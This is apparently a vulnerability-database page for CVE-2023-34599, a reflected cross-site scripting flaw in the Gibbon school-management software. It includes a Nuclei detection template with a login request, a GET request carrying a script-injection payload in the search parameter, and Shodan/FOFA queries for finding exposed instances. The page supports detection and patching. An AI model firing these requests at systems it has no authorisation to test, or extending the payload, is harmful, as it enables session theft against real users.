Gibbon v25.0.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

Multiple Cross-Site Scripting (XSS) vulnerabilities have been identified in Gibbon v25.0.0, which enable attackers to execute arbitrary Javascript code.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /login.php? ; GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'><script>alert(document.domain)</script>oq7c8…
Positive when: contains in body_2 "><script>alert(document.domain)</script>" and "gibbon" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-34599 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-34599

info:
  name: Gibbon v25.0.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Multiple Cross-Site Scripting (XSS) vulnerabilities have been identified in Gibbon v25.0.0, which enable attackers to execute arbitrary Javascript code.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/maddsec/CVE-2023-34599
    - https://vulmon.com/searchpage?q=CVE-2023-34599
    - https://github.com/Imahian/CVE-2023-34599
    - https://github.com/hheeyywweellccoommee/CVE-2023-34599-xsddo
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-34599
    cwe-id: CWE-79
    epss-score: 0.01868
    epss-percentile: 0.79502
    cpe: cpe:2.3:a:gibbonedu:gibbon:25.0.00:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: gibbonedu
    product: gibbon
    shodan-query:
      - http.favicon.hash:-165631681
      - http.favicon.hash:"-165631681"
    fofa-query: icon_hash="-165631681"
  tags: cve2023,cve,gibbon,xss,authenticated,intrusive,gibbonedu,vuln

http:
  - raw:
      - |
        POST /login.php? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8m88nqhR1NAnQEYZ

        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="address"


        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="method"

        default
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="username"

        {{username}}
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="password"

        {{password}}
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="gibbonSchoolYearID"

        017
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ
        Content-Disposition: form-data; name="gibboni18nID"

        0001
        ------WebKitFormBoundary8m88nqhR1NAnQEYZ--
      - |
        GET /index.php?q=/modules/Staff/staff_view_details.php&gibbonTTID=00000010&gibbonPersonID=0000000001&search=yyraq'><script>alert(document.domain)</script>oq7c8fmwwro&ttDate=05/23/2023&schoolCalendar=N&personalCalendar=N&spaceBookingCalendar=N&fromTT=Y HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "><script>alert(document.domain)</script>"
          - gibbon
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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